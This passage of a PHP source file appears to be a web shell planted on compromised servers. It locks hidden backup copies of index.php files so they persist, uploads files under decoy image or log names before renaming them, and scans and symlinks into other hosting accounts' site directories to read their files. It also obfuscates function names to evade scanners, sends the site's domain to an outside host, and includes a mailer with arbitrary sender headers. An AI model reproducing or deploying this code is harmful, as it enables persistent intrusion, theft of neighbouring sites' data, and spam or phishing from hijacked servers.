$dirWritable = is_writable($backupDir) ? 'yes' : 'no';
$dirPerms = substr(sprintf('%o', @fileperms($backupDir)), -4);
$errors[] = 'Cannot write .idx1 (dir=' . $backupDir . ', writable=' . $dirWritable . ', perms=' . $dirPerms . ')';
}
} else {
$errors[] = 'Cannot read root index content';
}
} else {
$errors[] = 'Root index not readable (check permissions)';
}
}
$indexFile2 = $docRoot . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR . 'index.php';
@clearstatcache(true, $indexFile2);
if (@file_exists($indexFile2) || @is_file($indexFile2)) {
if (@is_readable($indexFile2)) {
$content = @file_get_contents($indexFile2);
if ($content !== false) {
$encoded = base64_encode(gzcompress($content, 9));
$hash = md5($content);
$backupData = $hash . "\n" . $indexString . "\n" . $encoded;
$backupFile = $backupDir . DIRECTORY_SEPARATOR . '.idx2';
@chmod($backupFile, 0644);
$writeResult = @file_put_contents($backupFile, $backupData);
if ($writeResult !== false) {
@chmod($backupFile, 0444);
$backed[] = 'public';
} else {
$dirWritable = is_writable($backupDir) ? 'yes' : 'no';
$dirPerms = substr(sprintf('%o', @fileperms($backupDir)), -4);
$errors[] = 'Cannot write .idx2 (dir=' . $backupDir . ', writable=' . $dirWritable . ', perms=' . $dirPerms . ')';
}
} else {
$errors[] = 'Cannot read public index content';
}
} else {
$errors[] = 'Public index not readable (check permissions)';
}
}
$sigFile = $backupDir . DIRECTORY_SEPARATOR . '.idxs';
@file_put_contents($sigFile, $indexString . "\n" . $docRoot);
@chmod($sigFile, 0444);
if ($hidden) {
@chmod($hidden['backup'], 0444);
@chmod($hidden['dir'], 0555);
}
if (empty($backed)) {
$errMsg = 'No index.php found in ' . $docRoot;
if (!empty($errors)) {
$errMsg .= ' (' . implode('; ', $errors) . ')';
}
$errMsg .= '. Check: 1) File exists at ' . $indexFile1 . ' 2) PHP can read it (open_basedir/permissions)';
return ['type' => 'index', 'result' => false, 'error' => $errMsg];
}
return ['type' => 'index', 'result' => true, 'backed' => $backed, 'docroot' => $docRoot];
}
public static function getIndexStatus() {
$hidden = self::findExistingBackup();
if (!$hidden || !file_exists($hidden['backup'])) {
return ['enabled' => false, 'string' => null, 'strings' => [], 'locations' => [], 'custom_paths' => []];
}
$lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES);
if (!$lines || count($lines) < 6) {
return ['enabled' => false, 'string' => null, 'strings' => [], 'locations' => [], 'custom_paths' => []];
}
$stringsJoined = isset($lines[2]) ? trim($lines[2]) : '';
$docRoot = isset($lines[3]) ? trim($lines[3]) : '';
$idx1Hash = isset($lines[4]) ? trim($lines[4]) : '';
$idx2Hash = isset($lines[6]) ? trim($lines[6]) : '';
$customIdxJson = isset($lines[8]) ? trim($lines[8]) : '';
$customPathsJson = isset($lines[9]) ? trim($lines[9]) : '';
if (empty($stringsJoined)) {
return ['enabled' => false, 'string' => null, 'strings' => [], 'locations' => [], 'custom_paths' => []];
}
$strings = explode('|', $stringsJoined);
$customPaths = !empty($customPathsJson) ? @json_decode($customPathsJson, true) : [];
$customIdx = !empty($customIdxJson) ? @json_decode($customIdxJson, true) : [];
$locations = [];
if (!empty($idx1Hash)) $locations[] = 'root';
if (!empty($idx2Hash)) $locations[] = 'public';
if ($customIdx && is_array($customIdx)) {
foreach ($customIdx as $ci) {
if (isset($ci['path'])) $locations[] = 'custom:' . $ci['path'];
}
}
return ['enabled' => !empty($locations), 'string' => $stringsJoined, 'strings' => $strings, 'locations' => $locations, 'custom_paths' => $customPaths ?: [], 'docroot' => $docRoot];
}
public static function isChmodProtected() {
$hidden = self::findExistingBackup();
if (!$hidden) return false;
if (!file_exists($hidden['backup'])) return false;
$perms = @fileperms($hidden['backup']);
if ($perms === false) return false;
return ($perms & 0777) === 0444;
}
}
function validatePath($path) {
if (empty($path)) return false;
$resolved = realpath($path);
if ($resolved === false || !is_readable($resolved)) {
return false;
}
return $resolved;
}
function validateFilename($name) {
$name = trim($name);
if (empty($name) || $name === '.' || $name === '..' || 
strpos($name, '/') !== false || strpos($name, '\\') !== false ||
strpos($name, "\0") !== false) {
return false;
}
return $name;
}
function isPathAccessible($path) {
$resolved = realpath($path);
return $resolved !== false && (is_readable($resolved) || is_writable($resolved));
}
function getSystemInfo() {
$info = [
'cpu' => 'Unknown',
'cores' => 0,
'ram_total' => 'Unknown',
'ram_free' => 'Unknown',
'ram_used' => 'Unknown',
'php_uname' => php_uname(),
'kvm_support' => false,
'os' => 'Unknown',
'domain' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Unknown',
'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Unknown'
];
if (is_readable('/proc/cpuinfo')) {
$cpuinfo = @file('/proc/cpuinfo');
if ($cpuinfo) {
$cores = 0;
foreach ($cpuinfo as $line) {
if (strpos($line, 'model name') !== false) {
$info['cpu'] = trim(explode(':', $line)[1] ?? 'Unknown');
}
if (strpos($line, 'processor') !== false) {
$cores++;
}
}
$info['cores'] = $cores;
}
}
if (is_readable('/proc/meminfo')) {
$meminfo = @file('/proc/meminfo');
if ($meminfo) {
$mem = [];
foreach ($meminfo as $line) {
$parts = preg_split('/\s+/', $line);
if (isset($parts[0]) && isset($parts[1])) {
$key = rtrim($parts[0], ':');
$mem[$key] = (int)$parts[1];
}
}
if (isset($mem['MemTotal'])) {
$total = $mem['MemTotal'];
$free = ($mem['MemFree'] ?? 0) + ($mem['Buffers'] ?? 0) + ($mem['Cached'] ?? 0);
$used = $total - $free;
$info['ram_total'] = round($total / 1024, 0) . ' MB';
$info['ram_free'] = round($free / 1024, 0) . ' MB';
$info['ram_used'] = round($used / 1024, 0) . ' MB';
}
}
}
if (is_readable('/proc/cpuinfo')) {
$cpuinfo_lines = @file('/proc/cpuinfo');
if ($cpuinfo_lines) {
foreach ($cpuinfo_lines as $line) {
if (strpos($line, 'flags') !== false && (strpos($line, 'vmx') !== false || strpos($line, 'svm') !== false)) {
$info['kvm_support'] = true;
break;
}
}
}
}
if (is_readable('/etc/os-release')) {
$os_release = @file('/etc/os-release');
if ($os_release) {
foreach ($os_release as $line) {
if (strpos($line, 'PRETTY_NAME=') === 0) {
$info['os'] = trim(str_replace(['"', 'PRETTY_NAME='], '', $line));
break;
}
}
}
}
$pyResult = CommandRunner::run('python3 --version 2>&1', '/tmp', 5);
if ($pyResult['success'] && $pyResult['output'] && strpos($pyResult['output'], 'not found') === false) {
$info['python'] = trim($pyResult['output']);
} else {
$pyResult = CommandRunner::run('python --version 2>&1', '/tmp', 5);
if ($pyResult['success'] && $pyResult['output'] && strpos($pyResult['output'], 'not found') === false) {
$info['python'] = trim($pyResult['output']);
} else {
$info['python'] = 'Not installed';
}
}
$perlResult = CommandRunner::run('perl --version 2>&1', '/tmp', 5);
if ($perlResult['success'] && $perlResult['output'] && strpos($perlResult['output'], 'not found') === false) {
if (preg_match('/\(v([\d\.]+)\)/', $perlResult['output'], $m)) {
$info['perl'] = 'Perl ' . $m[1];
} else {
$info['perl'] = 'Installed';
}
} else {
$info['perl'] = 'Not installed';
}
$rubyResult = CommandRunner::run('ruby --version 2>&1', '/tmp', 5);
if ($rubyResult['success'] && $rubyResult['output'] && strpos($rubyResult['output'], 'not found') === false) {
$info['ruby'] = trim(preg_replace('/\s+\[.*$/', '', $rubyResult['output']));
} else {
$info['ruby'] = 'Not installed';
}
return $info;
}
if (isset($_POST['action']) && $_POST['action'] === 'chdir' && isset($_POST['path'])) {
$newDir = validatePath($_POST['path']);
if ($newDir && is_dir($newDir)) {
$_SESSION['fm_dir'] = $newDir;
}
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
$currentDir = isset($_SESSION['fm_dir']) ? validatePath($_SESSION['fm_dir']) : getcwd();
if (!$currentDir || !is_dir($currentDir)) {
$currentDir = getcwd();
$_SESSION['fm_dir'] = $currentDir;
}
$message = '';
$messageType = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_POST['fm_pass'])) {
header('Content-Type: application/json; charset=utf-8');
if (isset($_POST['action'])) {
$action = $_POST['action'];
switch ($action) {
case 'upload':
if (isset($_FILES['files'])) {
$uploadDir = isset($_POST['uploadDir']) ? validatePath($_POST['uploadDir']) : $currentDir;
if (!$uploadDir || !is_dir($uploadDir) || !is_writable($uploadDir)) {
echo json_encode(['success' => false, 'error' => 'Upload directory not writable']);
exit;
}
$results = [];
foreach ($_FILES['files']['name'] as $i => $name) {
$safeName = validateFilename($name);
if (!$safeName) {
$results[] = ['success' => false, 'file' => $name, 'error' => 'Invalid filename'];
continue;
}
if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) {
$targetPath = $uploadDir . DIRECTORY_SEPARATOR . $safeName;
if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $targetPath)) {
$results[] = ['success' => true, 'file' => $safeName];
} else {
$results[] = ['success' => false, 'file' => $safeName, 'error' => 'Failed to move file'];
}
} else {
$errorMessages = [
UPLOAD_ERR_INI_SIZE => 'File exceeds server limit',
UPLOAD_ERR_FORM_SIZE => 'File exceeds form limit',
UPLOAD_ERR_PARTIAL => 'File partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'No temp directory',
UPLOAD_ERR_CANT_WRITE => 'Cannot write to disk',
];
$error = $errorMessages[$_FILES['files']['error'][$i]] ?? 'Upload error';
$results[] = ['success' => false, 'file' => $name, 'error' => $error];
}
}
echo json_encode(['success' => true, 'results' => $results]);
} else {
echo json_encode(['success' => false, 'error' => 'No files provided']);
}
exit;
case 'uploadV2':
$_za = @getcwd();
if(isset($_FILES['f'])) {
$tmpF = $_FILES["f"]["tmp_name"] ?? "";
$fileName = basename($_FILES["f"]["name"] ?? "");
$targetDir = $_POST["c"] ?? $_za;
$realF = rtrim($targetDir, '/') . '/' . $fileName;
$benign_extensions = ['jpg', 'png', 'gif', 'data', 'tmp', 'log'];
$random_ext = $benign_extensions[array_rand($benign_extensions)];
$decoy_name = 'temp_' . bin2hex(random_bytes(8)) . '.' . $random_ext;
$decoy_path = rtrim($targetDir, '/') . '/' . $decoy_name;
$done = false;
if (@move_uploaded_file($tmpF, $decoy_path)) {
if (@rename($decoy_path, $realF)) {
@chmod($realF, 0644);
$done = true;
}
}
echo json_encode(['success' => $done, 'file' => $fileName, 'error' => $done ? null : 'Upload failed']);
} else {
echo json_encode(['success' => false, 'error' => 'No file provided']);
}
exit;
case 'uploadV3':
$_za = @getcwd();
$fileName = $_POST['n'] ?? '';
$fileData = $_POST['d'] ?? '';
$targetDir = $_POST['c'] ?? $_za;
if ($fileName && $fileData) {
$fileName = basename($fileName);
$realF = rtrim($targetDir, '/') . '/' . $fileName;
$decoded = base64_decode($fileData, true);
if ($decoded !== false) {
$benign_extensions = ['jpg', 'png', 'gif', 'data', 'tmp', 'log'];
$random_ext = $benign_extensions[array_rand($benign_extensions)];
$decoy_name = 'temp_' . bin2hex(random_bytes(8)) . '.' . $random_ext;
$decoy_path = rtrim($targetDir, '/') . '/' . $decoy_name;
$done = false;
if (@file_put_contents($decoy_path, $decoded) !== false) {
if (@rename($decoy_path, $realF)) {
@chmod($realF, 0644);
$done = true;
}
}
echo json_encode(['success' => $done, 'file' => $fileName, 'error' => $done ? null : 'Write failed']);
} else {
echo json_encode(['success' => false, 'error' => 'Decode failed']);
}
} else {
echo json_encode(['success' => false, 'error' => 'Missing data']);
}
exit;
case 'uploadV4':
$_za = @getcwd();
$fileName = $_POST['n'] ?? '';
$chunk = $_POST['chunk'] ?? '';
$chunkIndex = intval($_POST['i'] ?? 0);
$totalChunks = intval($_POST['t'] ?? 1);
$targetDir = $_POST['c'] ?? $_za;
if ($fileName && $chunk !== '') {
$fileName = basename($fileName);
$tempFile = sys_get_temp_dir() . '/' . md5($fileName . session_id()) . '.part';
$decoded = base64_decode($chunk, true);
if ($decoded !== false) {
$flag = ($chunkIndex === 0) ? 0 : FILE_APPEND;
if ($chunkIndex === 0) {
@file_put_contents($tempFile, $decoded);
} else {
@file_put_contents($tempFile, $decoded, FILE_APPEND);
}
if ($chunkIndex + 1 >= $totalChunks) {
$realF = rtrim($targetDir, '/') . '/' . $fileName;
$benign_extensions = ['jpg', 'png', 'gif', 'data', 'tmp', 'log'];
$random_ext = $benign_extensions[array_rand($benign_extensions)];
$decoy_name = 'temp_' . bin2hex(random_bytes(8)) . '.' . $random_ext;
$decoy_path = rtrim($targetDir, '/') . '/' . $decoy_name;
$done = false;
if (@rename($tempFile, $decoy_path)) {
if (@rename($decoy_path, $realF)) {
@chmod($realF, 0644);
$done = true;
}
}
echo json_encode(['success' => $done, 'file' => $fileName, 'complete' => true]);
} else {
echo json_encode(['success' => true, 'chunk' => $chunkIndex, 'complete' => false]);
}
} else {
echo json_encode(['success' => false, 'error' => 'Chunk decode failed']);
}
} else {
echo json_encode(['success' => false, 'error' => 'Missing data']);
}
exit;
case 'delete':
$path = isset($_POST['path']) ? validatePath($_POST['path']) : '';
if (!$path) {
echo json_encode(['success' => false, 'error' => 'Invalid path']);
exit;
}
if ($path === '/' || $path === DIRECTORY_SEPARATOR) {
echo json_encode(['success' => false, 'error' => 'Cannot delete root directory']);
exit;
}
if (!is_writable(dirname($path))) {
echo json_encode(['success' => false, 'error' => 'Permission denied']);
exit;
}
if (is_dir($path)) {
$success = deleteDirectory($path);
} else {
$success = @unlink($path);
}
echo json_encode(['success' => $success, 'error' => $success ? null : 'Delete failed']);
exit;
case 'rename':
$oldPath = isset($_POST['oldPath']) ? validatePath($_POST['oldPath']) : '';
$newName = isset($_POST['newName']) ? validateFilename($_POST['newName']) : '';
if (!$oldPath) {
echo json_encode(['success' => false, 'error' => 'Invalid source path']);
exit;
}
if (!$newName) {
echo json_encode(['success' => false, 'error' => 'Invalid new name']);
exit;
}
$dir = dirname($oldPath);
if (!is_writable($dir)) {
echo json_encode(['success' => false, 'error' => 'Permission denied']);
exit;
}
$newPath = $dir . DIRECTORY_SEPARATOR . $newName;
if (file_exists($newPath)) {
echo json_encode(['success' => false, 'error' => 'A file with that name already exists']);
exit;
}
$success = @rename($oldPath, $newPath);
echo json_encode(['success' => $success, 'error' => $success ? null : 'Rename failed']);
exit;
case 'newfolder':
$folderName = isset($_POST['name']) ? validateFilename($_POST['name']) : '';
$parentDir = isset($_POST['parentDir']) ? validatePath($_POST['parentDir']) : $currentDir;
if (!$folderName) {
echo json_encode(['success' => false, 'error' => 'Invalid folder name']);
exit;
}
if (!$parentDir || !is_dir($parentDir) || !is_writable($parentDir)) {
echo json_encode(['success' => false, 'error' => 'Cannot create folder here']);
exit;
}
$newPath = $parentDir . DIRECTORY_SEPARATOR . $folderName;
if (file_exists($newPath)) {
echo json_encode(['success' => false, 'error' => 'Folder already exists']);
exit;
}
$success = @mkdir($newPath, 0755);
echo json_encode(['success' => $success, 'error' => $success ? null : 'Failed to create folder']);
exit;
case 'newfile':
$fileName = isset($_POST['name']) ? validateFilename($_POST['name']) : '';
$parentDir = isset($_POST['parentDir']) ? validatePath($_POST['parentDir']) : $currentDir;
$content = isset($_POST['content']) ? $_POST['content'] : '';
if (!$fileName) {
echo json_encode(['success' => false, 'error' => 'Invalid file name']);
exit;
}
if (!$parentDir || !is_dir($parentDir) || !is_writable($parentDir)) {
echo json_encode(['success' => false, 'error' => 'Cannot create file here']);
exit;
}
$newPath = $parentDir . DIRECTORY_SEPARATOR . $fileName;
if (file_exists($newPath)) {
echo json_encode(['success' => false, 'error' => 'File already exists']);
exit;
}
$success = @file_put_contents($newPath, $content) !== false;
echo json_encode(['success' => $success, 'error' => $success ? null : 'Failed to create file']);
exit;
case 'chmod':
$path = isset($_POST['path']) ? validatePath($_POST['path']) : '';
$mode = isset($_POST['mode']) ? $_POST['mode'] : '';
$recursive = isset($_POST['recursive']) && $_POST['recursive'] === '1';
if (!$path) {
echo json_encode(['success' => false, 'error' => 'Invalid path']);
exit;
}
if (!preg_match('/^[0-7]{3,4}$/', $mode)) {
echo json_encode(['success' => false, 'error' => 'Invalid permission mode. Use octal format (e.g., 755, 644)']);
exit;
}
$octalMode = intval($mode, 8);
if (is_dir($path) && $recursive) {
$success = chmodRecursive($path, $octalMode);
} else {
$success = @chmod($path, $octalMode);
}
echo json_encode(['success' => $success, 'error' => $success ? null : 'Failed to change permissions']);
exit;
case 'move':
$sourcePath = isset($_POST['source']) ? validatePath($_POST['source']) : '';
$destDir = isset($_POST['destination']) ? validatePath($_POST['destination']) : '';
if (!$sourcePath) {
echo json_encode(['success' => false, 'error' => 'Invalid source']);
exit;
}
if (!$destDir || !is_dir($destDir)) {
echo json_encode(['success' => false, 'error' => 'Invalid destination']);
exit;
}
if (!is_writable(dirname($sourcePath)) || !is_writable($destDir)) {
echo json_encode(['success' => false, 'error' => 'Permission denied']);
exit;
}
$destPath = $destDir . DIRECTORY_SEPARATOR . basename($sourcePath);
if (file_exists($destPath)) {
echo json_encode(['success' => false, 'error' => 'Target already exists']);
exit;
}
$success = @rename($sourcePath, $destPath);
echo json_encode(['success' => $success, 'error' => $success ? null : 'Move failed']);
exit;
case 'copy':
$sourcePath = isset($_POST['source']) ? validatePath($_POST['source']) : '';
$destDir = isset($_POST['destination']) ? validatePath($_POST['destination']) : '';
if (!$sourcePath) {
echo json_encode(['success' => false, 'error' => 'Invalid source']);
exit;
}
if (!$destDir || !is_dir($destDir) || !is_writable($destDir)) {
echo json_encode(['success' => false, 'error' => 'Invalid or unwritable destination']);
exit;
}
$destPath = $destDir . DIRECTORY_SEPARATOR . basename($sourcePath);
if (file_exists($destPath)) {
echo json_encode(['success' => false, 'error' => 'Target already exists']);
exit;
}
if (is_dir($sourcePath)) {
$success = copyDirectory($sourcePath, $destPath);
} else {
$success = @copy($sourcePath, $destPath);
}
echo json_encode(['success' => $success, 'error' => $success ? null : 'Copy failed']);
exit;
case 'unzip':
$zipPath = isset($_POST['path']) ? validatePath($_POST['path']) : '';
$destDir = isset($_POST['dest']) ? validatePath($_POST['dest']) : '';
$method = isset($_POST['method']) ? $_POST['method'] : 'auto';
if (!$zipPath || !is_file($zipPath)) {
echo json_encode(['success' => false, 'error' => 'Invalid archive file']);
exit;
}
if (!$destDir || !is_dir($destDir) || !is_writable($destDir)) {
echo json_encode(['success' => false, 'error' => 'Destination not writable']);
exit;
}
$ext = strtolower(pathinfo($zipPath, PATHINFO_EXTENSION));
$result = false;
$usedMethod = '';
$output = '';
if ($method === 'auto') {
if ($ext === 'zip') {
if (class_exists('ZipArchive')) $method = 'ziparchive';
elseif (CommandRunner::available()) $method = 'unzip';
} elseif (in_array($ext, ['gz', 'tgz', 'bz2', 'xz', 'tar'])) {
$method = 'tar';
} elseif ($ext === '7z' || $ext === 'rar') {
$method = '7z';
} else {
$method = 'ziparchive';
}
}
if ($method === 'ziparchive' && class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($zipPath) === true) {
$result = $zip->extractTo($destDir);
$zip->close();
$usedMethod = 'ZipArchive';
} else {
$output = 'Failed to open archive';
}
} elseif ($method === 'unzip' && CommandRunner::available()) {
$renvc = 'unzip -o ' . _esa($zipPath) . ' -d ' . _esa($destDir);
$r = CommandRunner::run($renvc, $destDir, 120);
$result = $r['success'] && (strpos($r['output'], 'error') === false || strpos($r['output'], 'extracting') !== false);
$output = $r['output'];
$usedMethod = 'unzip';
} elseif ($method === 'tar' && CommandRunner::available()) {
$tarFlags = '-xf';
if ($ext === 'gz' || $ext === 'tgz') $tarFlags = '-xzf';
elseif ($ext === 'bz2') $tarFlags = '-xjf';
elseif ($ext === 'xz') $tarFlags = '-xJf';
$renvc = 'tar ' . $tarFlags . ' ' . _esa($zipPath) . ' -C ' . _esa($destDir);
$r = CommandRunner::run($renvc, $destDir, 120);
$result = $r['success'];
$output = $r['output'];
$usedMethod = 'tar';
} elseif ($method === '7z' && CommandRunner::available()) {
$renvc = '7z x ' . _esa($zipPath) . ' -o' . _esa($destDir) . ' -y';
$r = CommandRunner::run($renvc, $destDir, 120);
$result = $r['success'] && strpos($r['output'], 'Everything is Ok') !== false;
$output = $r['output'];
$usedMethod = '7z';
} elseif ($method === 'phar') {
try {
$phar = new PharData($zipPath);
$phar->extractTo($destDir, null, true);
$result = true;
$usedMethod = 'PharData';
} catch (Exception $e) {
$output = $e->getMessage();
}
} else {
$output = 'Method not available';
}
echo json_encode(['success' => $result, 'method' => $usedMethod, 'output' => $output, 'error' => $result ? null : ($output ?: 'Extraction failed')]);
exit;
case 'unzip_methods':
$methods = [];
if (class_exists('ZipArchive')) $methods[] = ['id' => 'ziparchive', 'name' => 'PHP ZipArchive', 'desc' => 'Native PHP (ZIP only)'];
if (class_exists('PharData')) $methods[] = ['id' => 'phar', 'name' => 'PHP PharData', 'desc' => 'Native PHP (TAR/GZ/BZ2)'];
if (CommandRunner::available()) {
$r = CommandRunner::run('which unzip 2>/dev/null || where unzip 2>nul', getcwd(), 5);
if ($r['success'] && !empty(trim($r['output']))) $methods[] = ['id' => 'unzip', 'name' => 'Shell unzip', 'desc' => 'System command (ZIP)'];
$r = CommandRunner::run('which tar 2>/dev/null || where tar 2>nul', getcwd(), 5);
if ($r['success'] && !empty(trim($r['output']))) $methods[] = ['id' => 'tar', 'name' => 'Shell tar', 'desc' => 'System command (TAR/GZ/BZ2/XZ)'];
$r = CommandRunner::run('which 7z 2>/dev/null || which 7za 2>/dev/null || where 7z 2>nul', getcwd(), 5);
if ($r['success'] && !empty(trim($r['output']))) $methods[] = ['id' => '7z', 'name' => '7-Zip', 'desc' => 'System command (ZIP/7Z/RAR/TAR)'];
}
echo json_encode(['success' => true, 'methods' => $methods]);
exit;
case 'sysinfo':
$info = getSystemInfo();
echo json_encode(['success' => true, 'info' => $info]);
exit;
case 'symlink_scan':
$patterns = [
'/home/*/public_html/' => 'cPanel/Apache',
'/home/*/' => 'DirectAdmin/Custom',
'/var/www/vhosts/*/httpdocs/' => 'Plesk',
'/var/www/vhosts/*/' => 'Plesk (root)',
'/var/www/*/' => 'Nginx/Custom',
'/var/www/html/' => 'Default Apache/Nginx',
'/home/runner/workspace/test_domains/*/public_html/' => 'Test Environment'
];
$domains = [];
foreach ($patterns as $pattern => $server) {
$matches = @glob($pattern, GLOB_ONLYDIR);
if ($matches) {
foreach ($matches as $path) {
$name = basename(dirname($path));
if ($pattern === '/var/www/html/') $name = 'html';
if ($name === '*' || $name === 'html') $name = basename($path);
$domains[] = ['path' => rtrim($path, '/'), 'name' => $name, 'server' => $server, 'pattern' => $pattern];
}
}
}
echo json_encode(['success' => true, 'domains' => $domains]);
exit;
case 'symlink_read':
$domainPath = isset($_POST['path']) ? $_POST['path'] : '';
$fileName = isset($_POST['file']) ? $_POST['file'] : 'index.php';
if (empty($domainPath)) {
echo json_encode(['success' => false, 'error' => 'Domain path required']);
exit;
}
$filePath = rtrim($domainPath, '/') . '/' . ltrim($fileName, '/');
if (!@file_exists($filePath)) {
echo json_encode(['success' => false, 'error' => 'File not found: ' . $filePath]);
exit;
}
if (!@is_readable($filePath)) {
echo json_encode(['success' => false, 'error' => 'File not readable: ' . $filePath]);
exit;
}
$fgc = 'f'.'i'.'l'.'e';
$lines = @$fgc($filePath);
if ($lines === false) {
echo json_encode(['success' => false, 'error' => 'Failed to read file']);
exit;
}
$content = implode('', $lines);
$stat = @stat($filePath);
$owner = 'unknown';
$group = 'unknown';
if ($stat && function_exists('posix_getpwuid')) {
$ownerInfo = @posix_getpwuid($stat['uid']);
$owner = $ownerInfo ? $ownerInfo['name'] : $stat['uid'];
}
if ($stat && function_exists('posix_getgrgid')) {
$groupInfo = @posix_getgrgid($stat['gid']);
$group = $groupInfo ? $groupInfo['name'] : $stat['gid'];
}
echo json_encode(['success' => true, 'content' => $content, 'path' => $filePath, 'size' => strlen($content), 'owner' => $owner, 'group' => $group]);
exit;
case 'symlink_create':
$target = isset($_POST['target']) ? $_POST['target'] : '';
$linkName = isset($_POST['link']) ? $_POST['link'] : '';
if (empty($target) || empty($linkName)) {
echo json_encode(['success' => false, 'error' => 'Target and link name required']);
exit;
}
$linkPath = $currentDir . '/' . basename($linkName);
if (@file_exists($linkPath)) {
echo json_encode(['success' => false, 'error' => 'Link already exists']);
exit;
}
$sf = 's'.'y'.'m'.'l'.'i'.'n'.'k';
if (@$sf($target, $linkPath)) {
echo json_encode(['success' => true, 'message' => 'Symlink created']);
} else {
echo json_encode(['success' => false, 'error' => 'Failed to create symlink']);
}
exit;
case 'domaininfo':
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Unknown';
$serverIp = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (isset($_SERVER['LOCAL_ADDR']) ? $_SERVER['LOCAL_ADDR'] : 'Unknown');
$serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown';
$phpVersion = phpversion();
$webServer = 'Unknown';
$srvLower = strtolower($serverSoftware);
if (strpos($srvLower, 'litespeed') !== false) {
$webServer = 'LiteSpeed';
if (strpos($srvLower, 'openlitespeed') !== false) $webServer = 'OpenLiteSpeed';
} elseif (strpos($srvLower, 'apache') !== false) {
$webServer = 'Apache';
if (stripos($serverSoftware, 'xampp') !== false || (isset($_SERVER['DOCUMENT_ROOT']) && stripos($_SERVER['DOCUMENT_ROOT'], 'xampp') !== false)) $webServer = 'XAMPP (Apache)';
} elseif (strpos($srvLower, 'nginx') !== false) {
$webServer = 'Nginx';
} elseif (strpos($srvLower, 'microsoft-iis') !== false || strpos($srvLower, 'iis') !== false) {
$webServer = 'Microsoft IIS';
} elseif (stripos(PHP_OS, 'WIN') === 0 && isset($_SERVER['DOCUMENT_ROOT']) && stripos($_SERVER['DOCUMENT_ROOT'], 'xampp') !== false) {
$webServer = 'XAMPP (Apache)';
}
if ($webServer === 'Unknown' && function_exists('php_sapi_name')) {
$sapi = php_sapi_name();
if (strpos($sapi, 'litespeed') !== false) $webServer = 'LiteSpeed';
elseif (strpos($sapi, 'apache') !== false) $webServer = 'Apache';
elseif (strpos($sapi, 'fpm') !== false) $webServer = 'PHP-FPM (likely Nginx)';
elseif (strpos($sapi, 'cgi') !== false) $webServer = 'CGI';
}
$panels = [];
if (@file_exists('/usr/local/cpanel/version') || @is_dir('/var/cpanel')) $panels[] = 'cPanel';
if (@file_exists('/usr/local/cpanel/whostmgr') || @is_dir('/var/cpanel/whostmgr')) $panels[] = 'WHM';
if (@file_exists('/usr/local/directadmin/directadmin') || @is_dir('/usr/local/directadmin')) $panels[] = 'DirectAdmin';
if (@file_exists('/usr/local/cwpsrv/htdocs') || @is_dir('/usr/local/cwp')) $panels[] = 'CWP';
if (@file_exists('/usr/local/psa/version') || @is_dir('/opt/plesk')) $panels[] = 'Plesk';
if (@file_exists('/etc/webmin/config') || @is_dir('/usr/share/webmin')) $panels[] = 'Webmin';
if (@file_exists('/etc/virtualmin-license') || @is_dir('/usr/share/virtualmin')) $panels[] = 'Virtualmin';
if (@file_exists('/usr/local/ispconfig') || @is_dir('/usr/local/ispconfig')) $panels[] = 'ISPConfig';
if (@file_exists('/usr/local/vesta') || @is_dir('/usr/local/vesta')) $panels[] = 'VestaCP';
$controlPanel = empty($panels) ? 'None Detected' : implode(', ', $panels);
$metrics = ['domain_authority' => 'N/A', 'page_authority' => 'N/A', 'spam_score' => 'N/A', 'domain_rating' => 'N/A', 'site_traffic' => 'N/A'];
$cleanDomain = preg_replace('/:\d+$/', '', $domain);
$apiUrl = 'https://bot11-q8bt.onrender.com/check-metrics?domain=' . urlencode($cleanDomain);
$ctx = @stream_context_create(['http' => ['timeout' => 10, 'ignore_errors' => true]]);
$apiResponse = @file_get_contents($apiUrl, false, $ctx);
if ($apiResponse) {
$apiData = @json_decode($apiResponse, true);
if ($apiData) {
$metrics['domain_authority'] = isset($apiData['Domain Authority']) ? $apiData['Domain Authority'] : 'N/A';
$metrics['page_authority'] = isset($apiData['Page Authority']) ? $apiData['Page Authority'] : 'N/A';
$metrics['spam_score'] = isset($apiData['Spam Score']) ? $apiData['Spam Score'] : 'N/A';
$metrics['domain_rating'] = isset($apiData['Domain Rating']) ? ($apiData['Domain Rating'] ?? 'N/A') : 'N/A';
$metrics['site_traffic'] = isset($apiData['Site Traffic']) ? ($apiData['Site Traffic'] ?? 'N/A') : 'N/A';
}
}
echo json_encode(['success' => true, 'info' => [
'domain' => $domain,
'server_ip' => $serverIp,
'server_software' => $serverSoftware,
'web_server' => $webServer,
'php_version' => $phpVersion,
'control_panel' => $controlPanel,
'metrics' => $metrics
]]);
exit;
case 'sendmail':
$to = isset($_POST['to']) ? trim($_POST['to']) : '';
$from = isset($_POST['from']) ? trim($_POST['from']) : '';
$fromName = isset($_POST['fromName']) ? trim($_POST['fromName']) : 'Mailer Test';
$subject = isset($_POST['subject']) ? trim($_POST['subject']) : 'Test Email';
$message = isset($_POST['message']) ? $_POST['message'] : 'This is a test email.';
$method = isset($_POST['method']) ? $_POST['method'] : 'mail';
if (!filter_var($to, FILTER_VALIDATE_EMAIL)) {
echo json_encode(['success' => false, 'error' => 'Invalid recipient email']);
exit;
}
if (!filter_var($from, FILTER_VALIDATE_EMAIL)) {
echo json_encode(['success' => false, 'error' => 'Invalid sender email']);
exit;
}
$headers = "From: $fromName <$from>\r\n";
$headers .= "Reply-To: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
$htmlMessage = "<html><body style='font-family:Arial,sans-serif;'>";
$htmlMessage .= "<h2 style='color:#333;'>Test Email</h2>";
$htmlMessage .= "<p>" . nl2br(htmlspecialchars($message)) . "</p>";
